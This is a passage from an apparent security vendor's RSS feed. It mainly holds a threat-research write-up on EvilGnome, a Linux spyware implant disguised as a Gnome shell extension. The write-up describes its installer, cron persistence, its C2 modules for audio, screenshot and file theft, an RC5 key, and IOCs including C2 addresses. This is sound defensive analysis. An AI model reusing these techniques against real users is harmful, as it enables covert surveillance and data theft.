the APT Detector tool.&lt;/p&gt;</description></item><item><title>EvilGnome: Rare Malware Spying on Linux Desktop Users</title><link>https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/</link><pubDate>Wed, 17 Jul 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Linux desktop remains an unpopular choice among mainstream desktop users,
making up a little more than
&lt;a href="https://netmarketshare.com/operating-system-market-share.aspx?options=%7B%22filter%22%3A%7B%22%24and%22%3A%5B%7B%22deviceType%22%3A%7B%22%24in%22%3A%5B%22Desktop%2Flaptop%22%5D%7D%7D%5D%7D%2C%22dateLabel%22%3A%22Trend%22%2C%22attributes%22%3A%22share%22%2C%22group%22%3A%22platform%22%2C%22sort%22%3A%7B%22share%22%3A-1%7D%2C%22id%22%3A%22platformsDesktop%22%2C%22dateInterval%22%3A%22Monthly%22%2C%22dateStart%22%3A%222018-07%22%2C%22dateEnd%22%3A%222019-06%22%2C%22segments%22%3A%22-1000%22%7D"target="_blank" rel="noopener"&gt;2%&lt;/a&gt;
of the desktop operating system market share. This is in contrast to the web
server market share, which consists of
&lt;a href="https://w3techs.com/technologies/overview/operating_system/all"target="_blank" rel="noopener"&gt;70%&lt;/a&gt; of
Linux-based operating systems. Consequently, the Linux malware ecosystem is
plagued by financial driven crypto-miners and DDoS botnet tools which mostly
target vulnerable servers.&lt;/p&gt;
&lt;p&gt;This explains our surprise when in the beginning of July, we discovered a new,
fully undetected &lt;strong&gt;Linux backdoor implant&lt;/strong&gt;, containing rarely seen
functionalities with regards to Linux malware, targeting desktop users.&lt;/p&gt;
&lt;p&gt;Throughout our investigation, we have found evidence that shows operational
similarities between this implant and &lt;strong&gt;Gamaredon Group&lt;/strong&gt;. We have investigated
this connection and in this blog we will present a technical analysis of the
tool.&lt;/p&gt;
&lt;p&gt;We have named the implant &lt;strong&gt;EvilGnome&lt;/strong&gt;, for its disguise as a Gnome extension.
The malware is currently fully undetected across all major security solutions:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig1.png" title="Figure 1: VirusTotal detections of an EvilGnome sample" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: VirusTotal detections of an EvilGnome sample&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We believe this is a test version that was uploaded to VirusTotal, perhaps by
mistake. The implant contains an unfinished keylogger functionality, comments,
symbol names and compilation metadata which typically do not appear in
production versions. EvilGnome&amp;rsquo;s functionalities include desktop screenshots,
file stealing, allowing capturing audio recording from the user&amp;rsquo;s microphone
and the ability to download and execute further modules.&lt;/p&gt;
&lt;h2&gt;Gamaredon Group Connection&lt;span class="hx:absolute hx:-mt-20" id="gamaredon-group-connection"&gt;&lt;/span&gt;
&lt;a href="#gamaredon-group-connection" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;a href="https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution/"target="_blank" rel="noopener"&gt;Gamaredon Group&lt;/a&gt;
is an alleged Russian threat group. It has been active since at least 2013, and
has targeted individuals likely involved with the Ukrainian government.
Gamaredon Group infects victims using malicious attachments, delivered via
spear phishing techniques. The group&amp;rsquo;s implants are characterized by the
employment of information stealing tools—among them being screenshot and
document stealers delivered via a SFX, and made to achieve persistence through
a scheduled task. Gamaredon Group primarily makes use of Russian hosting
providers in order to distribute its malware.&lt;/p&gt;
&lt;p&gt;Our investigation into EvilGnome yielded several similarities between the
threat actors behind EvilGnome and Gamaredon Group:&lt;/p&gt;
&lt;h3&gt;Hosting Similarities&lt;span class="hx:absolute hx:-mt-20" id="hosting-similarities"&gt;&lt;/span&gt;
&lt;a href="#hosting-similarities" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The operators of EvilGnome use a hosting provider that has been used by
Gamaredon Group for years, and continues to be used by the group.&lt;/p&gt;
&lt;p&gt;More specifically, EvilGnome&amp;rsquo;s C2 IP address (&lt;code&gt;195.62.52.101&lt;/code&gt;) was resolved two
months ago by the domains &lt;code&gt;gamework.ddns.net&lt;/code&gt; and &lt;code&gt;workan.ddns.net&lt;/code&gt;,
&lt;a href="https://x.threatbook.cn/nodev4/vb4/article?threatInfoID=1417"target="_blank" rel="noopener"&gt;associated&lt;/a&gt; with
the Gamaredon Group:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig2.png" title="Figure 2: RiskIQ EvilGnome C2 IP query" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: RiskIQ EvilGnome C2 IP query&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We used &lt;a href="https://community.riskiq.com/search/gamework.ddns.net"target="_blank" rel="noopener"&gt;RiskIQ&lt;/a&gt; to map
the history of the &lt;code&gt;gamework.ddns.net&lt;/code&gt; domain:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig3.png" title="Figure 3: gamework.ddns.net DNS timeline" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 3: gamework.ddns.net DNS timeline&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The finding shows that EvilGnome operates on an IP address that was controlled
by the Gamaredon group two months ago.&lt;/p&gt;
&lt;h3&gt;Infrastructure Similarities&lt;span class="hx:absolute hx:-mt-20" id="infrastructure-similarities"&gt;&lt;/span&gt;
&lt;a href="#infrastructure-similarities" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;While investigating the EvilGnome C2, we observed that it served SSH over port
3436.&lt;/p&gt;
&lt;p&gt;We then checked for the 3436 port over three currently operating Gamaredon
Group C2 servers, and found one server with this port open, serving SSH:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig4.png" title="Figure 4: SSH served on port 3436 both on EvilGnome C2 and Gamaredons rnbo-ua.ddns.net" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: SSH served on port 3436 both on EvilGnome C2 and Gamaredons rnbo-ua.ddns.net&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We proceeded to scan for this network fingerprint under EvilGnome&amp;rsquo;s host
provider and we identified two additional servers with domain names similar to
the naming pattern of Gamaredon domains (the use of the .space TTLD and ddns):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;185.158.115.44&lt;/code&gt; -&amp;gt; &lt;a href="https://community.riskiq.com/search/kotl.space"target="_blank" rel="noopener"&gt;kotl.space&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;185.158.115.154&lt;/code&gt; -&amp;gt; &lt;a href="https://community.riskiq.com/search/clsass.ddns.net"target="_blank" rel="noopener"&gt;clsass.ddns.net&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Tool Similarities&lt;span class="hx:absolute hx:-mt-20" id="tool-similarities"&gt;&lt;/span&gt;
&lt;a href="#tool-similarities" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Gamaredon Group does not use any known Linux implants. It is difficult to make
comparisons between tools built for different operating systems because they
are developed with different challenges and objectives in mind. We can,
however, observe similarities at a high-level. The techniques and modules
employed by EvilGnome—that is the use of SFX, persistence with task scheduler
and the deployment of information stealing tools—remind us of Gamaredon Group&amp;rsquo;s
Windows tools. We present a thorough analysis of EvilGnome in the following
section.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Deployment with Makeself SFX&lt;span class="hx:absolute hx:-mt-20" id="deployment-with-makeself-sfx"&gt;&lt;/span&gt;
&lt;a href="#deployment-with-makeself-sfx" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;This implant is delivered in the form of a self-extracting archive shell script
created with &lt;a href="https://github.com/megastep/makeself"target="_blank" rel="noopener"&gt;makeself&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;ldquo;&lt;a href="https://makeself.io/"target="_blank" rel="noopener"&gt;makeself.sh&lt;/a&gt; is a small shell script that generates a
self-extractable compressed tar archive from a directory. The resulting file
appears as a shell script (many of those have a &lt;code&gt;.run&lt;/code&gt; suffix), and can be
launched as is. The archive will then uncompress itself to a temporary
directory and an optional arbitrary command will be executed (for example an
installation script). This is pretty similar to archives generated with
WinZip Self-Extractor in the Windows world.&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Interestingly, the tool&amp;rsquo;s operator did not omit metadata from the generated
makeself SFX. The packaging date, development paths and the tool&amp;rsquo;s filename
were all left exposed. We can observe that the sample is very recent, created
on Thursday, July 4:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig6.png" title="Figure 5: Makeself packaging metadata and the archived files metadata" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: Makeself packaging metadata and the archived files metadata&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;As can be observed in the illustration above, the makeself script is instructed
to run &lt;code&gt;./setup.sh&lt;/code&gt; after unpacking.&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;makeself&lt;/code&gt;&amp;rsquo;s options, we are able to instruct the script to unpack itself
without executing:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig7.png" title="Figure 6: Unpacking Makeself" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 6: Unpacking Makeself&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The archive contains four files:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;gnome-shell-ext&lt;/code&gt; - the spy agent executable&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gnome-shell-ext.sh&lt;/code&gt; - checks if &lt;code&gt;gnome-shell-ext&lt;/code&gt; is already running and if
not, executes it&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rtp.dat&lt;/code&gt; - configuration file for &lt;code&gt;gnome-shell-ext&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;setup.sh&lt;/code&gt; - the setup script that is run by makeself after unpacking&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The setup script installs the agent to
&lt;code&gt;~/.cache/gnome-software/gnome-shell-extensions/&lt;/code&gt;, in an attempt to masquerade
itself as a Gnome shell extension. Gnome shell extensions allow tweaking the
Gnome desktop and add functionalities. They are the desktop equivalent to
browser extensions.&lt;/p&gt;
&lt;p&gt;Persistence is achieved by registering &lt;code&gt;gnome-shell-ext.sh&lt;/code&gt; to run every minute
in crontab.&lt;/p&gt;
&lt;p&gt;Finally, the script executes &lt;code&gt;gnome-shell-ext.sh&lt;/code&gt;, which in turn launches the
main executable &lt;code&gt;gnome-shell-ext&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig9.png" title="Figure 7: setup.sh" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 7: setup.sh&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;The Spy Agent&lt;span class="hx:absolute hx:-mt-20" id="the-spy-agent"&gt;&lt;/span&gt;
&lt;a href="#the-spy-agent" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Analyzing the agent with Intezer Analyze demonstrated to us that the code was
never seen before by the system:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig10.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Figure 8:
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=evilgnome-rare-malware-spying-on-linux-desktop-users&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/analyses/8db39fae-8f82-42b2-9816-b353a7dbb16b"target="_blank" rel="noopener"&gt;Intezer Analyze report of the Spy Agent sample&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This large amount of unique genes located within this file is not a trend we
regularly see in Linux files and therefore it seems suspicious.&lt;/p&gt;
&lt;p&gt;The Spy Agent was built in C++, using classes with an object oriented
structure. The binary was not stripped, which allowed us to read symbols and
understand the developer&amp;rsquo;s intentions.&lt;/p&gt;
&lt;p&gt;At launch, the agent forks to run in a new process. The agent then reads the
&lt;code&gt;rtp.dat&lt;/code&gt; configuration file and loads it directly into memory:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig11.png" title="Figure 9: Loading configuration from rtp.dat" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 9: Loading configuration from rtp.dat&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We marked interesting fields within the configuration file:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig12.png" title="Figure 10: Configuration dissection" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 10: Configuration dissection&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The first four bytes are a hexadecimal representation of the C2&amp;rsquo;s IP address:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;0x65343ec3 -&amp;gt; 0xc3.0x3e.0x34.0x65 -&amp;gt; 195.62.52.101&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Modules&lt;span class="hx:absolute hx:-mt-20" id="modules"&gt;&lt;/span&gt;
&lt;a href="#modules" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The spy agent contains five modules called &amp;ldquo;Shooters&amp;rdquo;:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig13.png" title="Figure 11: Shooter modules" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 11: Shooter modules&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ShooterSound&lt;/code&gt; - captures audio from the user&amp;rsquo;s microphone and uploads to C2&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ShooterImage&lt;/code&gt; - captures screenshots and uploads to C2&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ShooterFile&lt;/code&gt; - scans the file system for newly created files and uploads them
to C2&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ShooterPing&lt;/code&gt; - receives new commands from C2&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ShooterKey&lt;/code&gt; - unimplemented and unused, most likely an unfinished keylogging
module&lt;/p&gt;
&lt;p&gt;Each module is run in a separate thread, and access to shared resources (such
as the configuration) is safeguarded by mutexes.&lt;/p&gt;
&lt;p&gt;The modules encrypt their output and decrypt data from the C2 with RC5 with the
key &amp;ldquo;&lt;code&gt;sdg62_AS.sa$die3&lt;/code&gt;&amp;rdquo;, using a modified version of a Russian open source
library
&lt;a href="https://webhamster.ru/site/page/index/articles/projectcode/157"target="_blank" rel="noopener"&gt;https://webhamster.ru/site/page/index/articles/projectcode/157&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig14.png" title="Figure 12: RC5 library" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 12: RC5 library&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;On connection failure, or if instructed by the C2, these modules store their
output at &lt;code&gt;~/.cache/gnome-software/gnome-shell-extensions/tmp/&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig15.png" title="Figure 13: Stored files" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 13: Stored files&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We will now dive into each of the five modules and their options:&lt;/p&gt;
&lt;h4&gt;ShooterPing&lt;span class="hx:absolute hx:-mt-20" id="shooterping"&gt;&lt;/span&gt;
&lt;a href="#shooterping" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The ShooterPing module processes commands received from the C2:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig16.png" title="Figure 14: C2 commands" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 14: C2 commands&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;These include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Download &amp;amp; execute new files&lt;/li&gt;
&lt;li&gt;Set new filters for file scanning&lt;/li&gt;
&lt;li&gt;Download &amp;amp; set new runtime configuration&lt;/li&gt;
&lt;li&gt;Exfiltrate stored output to C2&lt;/li&gt;
&lt;li&gt;Stop the shooter modules from running&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The other modules run at a constant interval between each run, as defined by
one of the configuration parameters. The C2 is able to control this interval
via downloading new parameters through ShooterPing.&lt;/p&gt;
&lt;h4&gt;ShooterFile&lt;span class="hx:absolute hx:-mt-20" id="shooterfile"&gt;&lt;/span&gt;
&lt;a href="#shooterfile" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The ShooterFile module uses a filter list to scan the filesystem, while
ignoring specific files and folders as shown in the following illustration:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig17.png" title="Figure 15: File scanning filter" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 15: File scanning filter&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We can see from the &lt;code&gt;filter_accepted_files&lt;/code&gt; list that the agent&amp;rsquo;s purpose is to
steal document related files. However, the list is not used by the malware and
further indicates that this is a work in progress.&lt;/p&gt;
&lt;h4&gt;ShooterAudio&lt;span class="hx:absolute hx:-mt-20" id="shooteraudio"&gt;&lt;/span&gt;
&lt;a href="#shooteraudio" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig18.png" title="Figure 16: Capturing audio with PulseAudio" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 16: Capturing audio with PulseAudio&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The ShooterAudio module uses PulseAudio to capture audio from the user&amp;rsquo;s
microphone.&lt;/p&gt;
&lt;p&gt;Using default configuration from &lt;code&gt;rtp.dat&lt;/code&gt;, the module records only a size of
80,000 bytes of audio per iteration. Consequently, the module only records
audio for a brief moment, making this module non-functional until a larger
recording size is set by the C2.&lt;/p&gt;
&lt;h4&gt;ShooterImage&lt;span class="hx:absolute hx:-mt-20" id="shooterimage"&gt;&lt;/span&gt;
&lt;a href="#shooterimage" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;This module opens a connection to the XOrg Display Server, which is the backend
to the Gnome desktop. It uses the Cairo open source library to take screenshots
of the user&amp;rsquo;s desktop.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig19.png" title="Figure 17: Screenshot capturing using XOrg Server" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 17: Screenshot capturing using XOrg Server&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Prevention and Response&lt;span class="hx:absolute hx:-mt-20" id="prevention-and-response"&gt;&lt;/span&gt;
&lt;a href="#prevention-and-response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We recommend to Linux users who want to check whether they are infected to
check the &lt;code&gt;~/.cache/gnome-software/gnome-shell-extensions&lt;/code&gt; directory for the
&lt;code&gt;gnome-shell-ext&lt;/code&gt; executable. We have also created a custom
&lt;a href="https://github.com/intezer/yara-rules/blob/master/EvilGnome.yar"target="_blank" rel="noopener"&gt;YARA rule&lt;/a&gt;,
based on code reuse technology, for detecting future variants of EvilGnome.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;EvilGnome is a rare type of malware due to its appetite for Linux desktop
users. Throughout this post, we have presented detailed infrastructure-related
evidence to connect EvilGnome to the actors behind the Gamaredon Group. We
believe this is a premature test version. We anticipate newer versions to be
discovered and reviewed in the future, which could potentially shed more light
into the group&amp;rsquo;s operations.&lt;/p&gt;
&lt;h2&gt;Genetic Analysis&lt;span class="hx:absolute hx:-mt-20" id="genetic-analysis"&gt;&lt;/span&gt;
&lt;a href="#genetic-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The EvilGnome malware variant is now indexed in Intezer&amp;rsquo;s genetic database. If
you have a suspicious file that you suspect to be EvilGnome, you can upload it
to Intezer Analyze in order to detect code reuse to this threat family and many
others. You are welcome to
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=evilgnome-rare-malware-spying-on-linux-desktop-users&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/"target="_blank" rel="noopener"&gt;try it for free in our community edition&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig20.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Figure 18:
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=evilgnome-rare-malware-spying-on-linux-desktop-users&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/analyses/eeec2273-82ac-4190-b434-8ffb304deeef"target="_blank" rel="noopener"&gt;Intezer Analyze report of the Spy Agent sample&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;EvilGnome&lt;span class="hx:absolute hx:-mt-20" id="evilgnome"&gt;&lt;/span&gt;
&lt;a href="#evilgnome" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;a21acbe7ee77c721f1adc76e7a7799c936e74348d32b4c38f3bf6357ed7e8032
82b69954410c83315dfe769eed4b6cfc7d11f0f62e26ff546542e35dcd7106b7
7ffab36b2fa68d0708c82f01a70c8d10614ca742d838b69007f5104337a4b869
195.62.52[.]101&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Gamaredon Group&lt;span class="hx:absolute hx:-mt-20" id="gamaredon-group"&gt;&lt;/span&gt;
&lt;a href="#gamaredon-group" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;185.158.115[.]44
185.158.115[.]154
clsass.ddns[.]net
kotl[.]space&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Paleontology: The Unknown Origins of Lazarus Malware</title><link>https://research.intezer.com/blog/2018/10/paleontology-the-unknown-origins-of-lazarus-malware/</link><pubDate>Wed, 31 Oct 2018 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2018/10/paleontology-the-unknown-origins-of-lazarus-malware/</guid><description>
&lt;p&gt;As seen by security researchers across the world and proven in a joint research
